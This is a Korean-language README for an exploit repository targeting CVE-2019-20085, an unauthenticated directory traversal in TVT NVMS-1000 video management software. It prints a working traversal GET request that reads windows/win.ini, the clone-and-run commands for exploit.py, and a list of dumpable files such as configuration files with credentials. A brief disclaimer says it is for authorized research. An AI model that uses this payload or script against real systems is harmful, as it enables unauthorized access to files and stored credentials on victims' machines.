📂 CVE-2019-20085 – TVT NVMS-1000 디렉터리 트래버설 익스플로잇 (By Z3R0)

저자: Z3R0 CVE: CVE-2019-20085 대상: TVT NVMS-1000 (패치 이전의 모든 알려진 버전) 취약점 유형: 인증되지 않은 디렉터리 트래버설 날짜: [릴리스 날짜 입력]

🔍 취약점 요약

TVT의 NVMS-1000 소프트웨어는 웹 서버 구성 요소에 디렉터리 트래버설 취약점을 포함하고 있습니다. /.. 시퀀스를 사용하여 특수하게 조작된 GET 요청을 보내면 인증되지 않은 공격자가 기본 OS의 임의 파일에 접근할 수 있으며, 여기에는 민감한 구성 파일, 비밀번호 해시 또는 시스템 키가 포함됩니다.

⚠️ 영향을 받는 소프트웨어

제품: TVT NVMS-1000
버전: 공급업체 수정 전의 모든 버전 (일반적으로 <= v3.x.x)
플랫폼: Windows

💥 익스플로잇 설명

이 익스플로잇은 NVMS-1000에서 실행되는 HTTP 서버의 취약한 파일 경로 해석을 악용합니다. 인증이 필요하지 않습니다. 원격 공격자는 서비스 사용자가 접근 가능한 모든 파일을 읽을 수 있습니다.

🧪 악의적 요청 예시

GET /..%5C..%5C..%5C..%5Cwindows%5Cwin.ini HTTP/1.1
Host: <target-ip>:80

🗂️ 덤프할 수 있는 파일

Windows 시스템 파일 (예: C:\Windows\win.ini)
NVMS 구성 파일 (base64 인코딩 또는 평문 자격 증명을 포함하는 경우가 많음)
사용자 데이터 디렉터리

🚀 사용법

✅ 요구 사항

Python 3.x
requests 모듈 (pip install requests)

▶️ 익스플로잇 실행

git clone https://github.com/Z3R0-0x30/CVE-2019-20085.git
cd CVE-2019-20085
python3 exploit.py http://domain.local/ ../../windows/win.ini win.ini"

⚠️ 면책 조항

이 익스플로잇은 교육 및 승인된 보안 연구 목적으로만 공개됩니다. 저자 Z3R0는 어떠한 오용이나 무단 접근에 대해서도 책임지지 않습니다. 시스템을 테스트하기 전에 항상 적절한 승인을 받으십시오.

CVE-2019-20085

인기